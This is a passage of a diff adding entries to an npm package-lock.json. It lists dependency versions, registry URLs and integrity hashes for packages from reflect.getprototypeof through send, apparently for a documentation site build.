+ } + }, + "reflect.getprototypeof": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.3.tgz", + "integrity": "sha512-TTAOZpkJ2YLxl7mVHWrNo3iDMEkYlva/kgFcXndqMgbo/AZUmmavEkdXV+hXtE4P8xdyEKRzalaFqZVuwIk/Nw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "get-intrinsic": "^1.1.1", + "globalthis": "^1.0.3", + "which-builtin-type": "^1.1.3" + } + }, + "regenerate": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==" + }, + "regenerate-unicode-properties": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.0.tgz", + "integrity": "sha512-d1VudCLoIGitcU/hEg2QqvyGZQmdC0Lf8BqdOMXGFSvJP4bNV1+XqbPQeHHLD51Jh4QJJ225dlIFvY4Ly6MXmQ==", + "requires": { + "regenerate": "^1.4.2" + } + }, + "regenerator-runtime": { + "version": "0.14.0", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.0.tgz", + "integrity": "sha512-srw17NI0TUWHuGa5CFGGmhfNIeja30WMBfbslPNhf6JrqQlLN5gcrvig1oqPxiVaXb0oW0XRKtH6Nngs5lKCIA==" + }, + "regenerator-transform": { + "version": "0.15.2", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.2.tgz", + "integrity": "sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==", + "requires": { + "@babel/runtime": "^7.8.4" + } + }, + "regexp-tree": { + "version": "0.1.27", + "resolved": "https://registry.npmjs.org/regexp-tree/-/regexp-tree-0.1.27.tgz", + "integrity": "sha512-iETxpjK6YoRWJG5o6hXLwvjYAoW+FEZn9os0PD/b6AP6xQwsa/Y7lCVgIixBbUPMfhu+i2LtdeAqVTgGlQarfA==", + "dev": true + }, + "regexp.prototype.flags": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.0.tgz", + "integrity": "sha512-0SutC3pNudRKgquxGoRGIz946MZVHqbNfPjBdxeOhBrdgDKlRoXmYLQN9xRbrR09ZXWeGAdPuif7egofn6v5LA==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "functions-have-names": "^1.2.3" + } + }, + "regexpu-core": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.3.2.tgz", + "integrity": "sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==", + "requires": { + "@babel/regjsgen": "^0.8.0", + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.1.0", + "regjsparser": "^0.9.1", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.1.0" + } + }, + "registry-auth-token": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/registry-auth-token/-/registry-auth-token-4.2.2.tgz", + "integrity": "sha512-PC5ZysNb42zpFME6D/XlIgtNGdTl8bBOCw90xQLVMpzuuubJKYDWFAEuUNc+Cn8Z8724tg2SDhDRrkVEsqfDMg==", + "requires": { + "rc": "1.2.8" + } + }, + "registry-url": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/registry-url/-/registry-url-5.1.0.tgz", + "integrity": "sha512-8acYXXTI0AkQv6RAOjE3vOaIXZkT9wo4LOFbBKYQEEnnMNBpKqdUrI6S4NT0KPIo/WVvJ5tE/X5LF/TQUf0ekw==", + "requires": { + "rc": "^1.2.8" + } + }, + "regjsgen": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.2.tgz", + "integrity": "sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==" + }, + "regjsparser": { + "version": "0.9.1", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.9.1.tgz", + "integrity": "sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==", + "requires": { + "jsesc": "~0.5.0" + }, + "dependencies": { + "jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==" + } + } + }, + "relateurl": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==" + }, + "remark-emoji": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/remark-emoji/-/remark-emoji-2.2.0.tgz", + "integrity": "sha512-P3cj9s5ggsUvWw5fS2uzCHJMGuXYRb0NnZqYlNecewXt8QBU9n5vW3DUUKOhepS8F9CwdMx9B8a3i7pqFWAI5w==", + "requires": { + "emoticon": "^3.2.0", + "node-emoji": "^1.10.0", + "unist-util-visit": "^2.0.3" + } + }, + "remark-footnotes": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/remark-footnotes/-/remark-footnotes-2.0.0.tgz", + "integrity": "sha512-3Clt8ZMH75Ayjp9q4CorNeyjwIxHFcTkaektplKGl2A1jNGEUey8cKL0ZC5vJwfcD5GFGsNLImLG/NGzWIzoMQ==" + }, + "remark-mdx": { + "version": "1.6.22", + "resolved": "https://registry.npmjs.org/remark-mdx/-/remark-mdx-1.6.22.tgz", + "integrity": "sha512-phMHBJgeV76uyFkH4rvzCftLfKCr2RZuF+/gmVcaKrpsihyzmhXjA0BEMDaPTXG5y8qZOKPVo83NAOX01LPnOQ==", + "requires": { + "@babel/core": "7.12.9", + "@babel/helper-plugin-utils": "7.10.4", + "@babel/plugin-proposal-object-rest-spread": "7.12.1", + "@babel/plugin-syntax-jsx": "7.12.1", + "@mdx-js/util": "1.6.22", + "is-alphabetical": "1.0.4", + "remark-parse": "8.0.3", + "unified": "9.2.0" + }, + "dependencies": { + "@babel/core": { + "version": "7.12.9", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.12.9.tgz", + "integrity": "sha512-gTXYh3M5wb7FRXQy+FErKFAv90BnlOuNn1QkCK2lREoPAjrQCO49+HVSrFoe5uakFAF5eenS75KbO2vQiLrTMQ==", + "requires": { + "@babel/code-frame": "^7.10.4", + "@babel/generator": "^7.12.5", + "@babel/helper-module-transforms": "^7.12.1", + "@babel/helpers": "^7.12.5", + "@babel/parser": "^7.12.7", + "@babel/template": "^7.12.7", + "@babel/traverse": "^7.12.9", + "@babel/types": "^7.12.7", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.1", + "json5": "^2.1.2", + "lodash": "^4.17.19", + "resolve": "^1.3.2", + "semver": "^5.4.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-plugin-utils": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.10.4.tgz", + "integrity": "sha512-O4KCvQA6lLiMU9l2eawBPMf1xPP8xPfB3iEQw150hOVTqj/rfXz0ThTb4HEzqQfs2Bmo5Ay8BzxfzVtBrr9dVg==" + }, + "@babel/plugin-syntax-jsx": { + "version": "7.12.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.12.1.tgz", + "integrity": "sha512-1yRi7yAtB0ETgxdY9ti/p2TivUxJkTdhu/ZbF9MshVGqOx1TdB3b7xCXs49Fupgg50N45KcAsRP/ZqWjs9SRjg==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==" + }, + "semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==" + }, + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==" + }, + "unified": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.0.tgz", + "integrity": "sha512-vx2Z0vY+a3YoTj8+pttM3tiJHCwY5UFbYdiWrwBEbHmK8pvsPj2rtAX2BFfgXen8T39CJWblWRDT4L5WGXtDdg==", + "requires": { + "bail": "^1.0.0", + "extend": "^3.0.0", + "is-buffer": "^2.0.0", + "is-plain-obj": "^2.0.0", + "trough": "^1.0.0", + "vfile": "^4.0.0" + } + } + } + }, + "remark-parse": { + "version": "8.0.3", + "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-8.0.3.tgz", + "integrity": "sha512-E1K9+QLGgggHxCQtLt++uXltxEprmWzNfg+MxpfHsZlrddKzZ/hZyWHDbK3/Ap8HJQqYJRXP+jHczdL6q6i85Q==", + "requires": { + "ccount": "^1.0.0", + "collapse-white-space": "^1.0.2", + "is-alphabetical": "^1.0.0", + "is-decimal": "^1.0.0", + "is-whitespace-character": "^1.0.0", + "is-word-character": "^1.0.0", + "markdown-escapes": "^1.0.0", + "parse-entities": "^2.0.0", + "repeat-string": "^1.5.4", + "state-toggle": "^1.0.0", + "trim": "0.0.1", + "trim-trailing-lines": "^1.0.0", + "unherit": "^1.0.4", + "unist-util-remove-position": "^2.0.0", + "vfile-location": "^3.0.0", + "xtend": "^4.0.1" + } + }, + "remark-squeeze-paragraphs": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/remark-squeeze-paragraphs/-/remark-squeeze-paragraphs-4.0.0.tgz", + "integrity": "sha512-8qRqmL9F4nuLPIgl92XUuxI3pFxize+F1H0e/W3llTk0UsjJaj01+RrirkMw7P21RKe4X6goQhYRSvNWX+70Rw==", + "requires": { + "mdast-squeeze-paragraphs": "^4.0.0" + } + }, + "renderkid": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-3.0.0.tgz", + "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==", + "requires": { + "css-select": "^4.1.3", + "dom-converter": "^0.2.0", + "htmlparser2": "^6.1.0", + "lodash": "^4.17.21", + "strip-ansi": "^6.0.1" + }, + "dependencies": { + "css-select": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "requires": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + } + }, + "dom-serializer": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "requires": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + } + }, + "domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "requires": { + "domelementtype": "^2.2.0" + } + }, + "domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "requires": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + } + }, + "entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==" + }, + "htmlparser2": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "requires": { + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" + } + } + } + }, + "repeat-string": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", + "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==" + }, + "require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==" + }, + "require-like": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/require-like/-/require-like-0.1.2.tgz", + "integrity": "sha512-oyrU88skkMtDdauHDuKVrgR+zuItqr6/c//FXzvmxRGMexSDc6hNvJInGW3LL46n+8b50RykrvwSUIIQH2LQ5A==" + }, + "requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==" + }, + "resolve": { + "version": "1.22.4", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.4.tgz", + "integrity": "sha512-PXNdCiPqDqeUou+w1C2eTQbNfxKSuMxqTCuvlmmMsk1NWHL5fRrhY6Pl0qEYYc6+QqGClco1Qj8XnjPego4wfg==", + "requires": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + } + }, + "resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==" + }, + "resolve-pathname": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-3.0.0.tgz", + "integrity": "sha512-C7rARubxI8bXFNB/hqcp/4iUeIXJhJZvFPFPiSPRnhU5UPxzMFIl+2E6yY6c4k9giDJAhtV+enfA+G89N6Csng==" + }, + "responselike": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz", + "integrity": "sha512-/Fpe5guzJk1gPqdJLJR5u7eG/gNY4nImjbRDaVWVMRhne55TCmj2i9Q+54PBRfatRC8v/rIiv9BN0pMd9OV5EQ==", + "requires": { + "lowercase-keys": "^1.0.0" + } + }, + "retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==" + }, + "reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==" + }, + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "requires": { + "glob": "^7.1.3" + } + }, + "rtl-detect": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/rtl-detect/-/rtl-detect-1.0.4.tgz", + "integrity": "sha512-EBR4I2VDSSYr7PkBmFy04uhycIpDKp+21p/jARYXlCSjQksTBQcJ0HFUPOO79EPPH5JS6VAhiIQbycf0O3JAxQ==" + }, + "rtlcss": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/rtlcss/-/rtlcss-3.5.0.tgz", + "integrity": "sha512-wzgMaMFHQTnyi9YOwsx9LjOxYXJPzS8sYnFaKm6R5ysvTkwzHiB0vxnbHwchHQT65PTdBjDG21/kQBWI7q9O7A==", + "requires": { + "find-up": "^5.0.0", + "picocolors": "^1.0.0", + "postcss": "^8.3.11", + "strip-json-comments": "^3.1.1" + }, + "dependencies": { + "find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "requires": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + } + }, + "locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "requires": { + "p-locate": "^5.0.0" + } + }, + "p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "requires": { + "yocto-queue": "^0.1.0" + } + }, + "p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "requires": { + "p-limit": "^3.0.2" + } + } + } + }, + "run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "requires": { + "queue-microtask": "^1.2.2" + } + }, + "rxjs": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.1.tgz", + "integrity": "sha512-AA3TVj+0A2iuIoQkWEK/tqFjBq2j+6PO6Y0zJcvzLAFhEFIO3HL0vls9hWLncZbAAbK0mar7oZ4V079I/qPMxg==", + "requires": { + "tslib": "^2.1.0" + } + }, + "safe-array-concat": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.0.0.tgz", + "integrity": "sha512-9dVEFruWIsnie89yym+xWTAYASdpw3CJV7Li/6zBewGf9z2i1j31rP6jnY0pHEO4QZh6N0K11bFjWmdR8UGdPQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.0", + "has-symbols": "^1.0.3", + "isarray": "^2.0.5" + }, + "dependencies": { + "isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true + } + } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + }, + "safe-regex": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-2.1.1.tgz", + "integrity": "sha512-rx+x8AMzKb5Q5lQ95Zoi6ZbJqwCLkqi3XuJXp5P3rT8OEc6sZCJG5AE5dU3lsgRr/F4Bs31jSlVN+j5KrsGu9A==", + "dev": true, + "requires": { + "regexp-tree": "~0.1.1" + } + }, + "safe-regex-test": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.0.0.tgz", + "integrity": "sha512-JBUUzyOgEwXQY1NuPtvcj/qcBDbDmEvWufhlnXZIm75DEHp+afM1r1ujJpJsV/gSM4t59tpDyPi1sd6ZaPFfsA==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.3", + "is-regex": "^1.1.4" + } + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "sass": { + "version": "1.66.1", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.66.1.tgz", + "integrity": "sha512-50c+zTsZOJVgFfTgwwEzkjA3/QACgdNsKueWPyAR0mRINIvLAStVQBbPg14iuqEQ74NPDbXzJARJ/O4SI1zftA==", + "requires": { + "chokidar": ">=3.0.0 <4.0.0", + "immutable": "^4.0.0", + "source-map-js": ">=0.6.2 <2.0.0" + } + }, + "sass-loader": { + "version": "13.3.2", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-13.3.2.tgz", + "integrity": "sha512-CQbKl57kdEv+KDLquhC+gE3pXt74LEAzm+tzywcA0/aHZuub8wTErbjAoNI57rPUWRYRNC5WUnNl8eGJNbDdwg==", + "dev": true, + "requires": { + "neo-async": "^2.6.2" + } + }, + "sax": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", + "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==" + }, + "scheduler": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.20.2.tgz", + "integrity": "sha512-2eWfGgAqqWFGqtdMmcL5zCMK1U8KlXv8SQFGglL3CEtd0aDVDWgeF/YoCmvln55m5zSk3J/20hTaSBeSObsQDQ==", + "requires": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1" + } + }, + "schema-utils": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz", + "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "requires": { + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" + } + }, + "search-insights": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/search-insights/-/search-insights-2.7.0.tgz", + "integrity": "sha512-GLbVaGgzYEKMvuJbHRhLi1qoBFnjXZGZ6l4LxOYPCp4lI2jDRB3jPU9/XNhMwv6kvnA9slTreq6pvK+b3o3aqg==", + "peer": true + }, + "section-matter": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/section-matter/-/section-matter-1.0.0.tgz", + "integrity": "sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==", + "requires": { + "extend-shallow": "^2.0.1", + "kind-of": "^6.0.0" + } + }, + "select-hose": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", + "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg==" + }, + "selfsigned": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-2.1.1.tgz", + "integrity": "sha512-GSL3aowiF7wa/WtSFwnUrludWFoNhftq8bUkH9pkzjpN2XSPOAYEgg6e0sS9s0rZwgJzJiQRPU18A6clnoW5wQ==", + "requires": { + "node-forge": "^1" + } + }, + "semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "requires": { + "lru-cache": "^6.0.0" + }, + "dependencies": { + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "requires": { + "yallist": "^4.0.0" + } + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + } + } + }, + "semver-diff": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/semver-diff/-/semver-diff-3.1.1.tgz", + "integrity": "sha512-GX0Ix/CJcHyB8c4ykpHGIAvLyOwOobtM/8d+TQkAd81/bEjgPHrfba41Vpesr7jX/t8Uh+R3EX9eAS5be+jQYg==", + "requires": { + "semver": "^6.3.0" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "send": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", + "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", + "requires": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + } + } + }, + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": 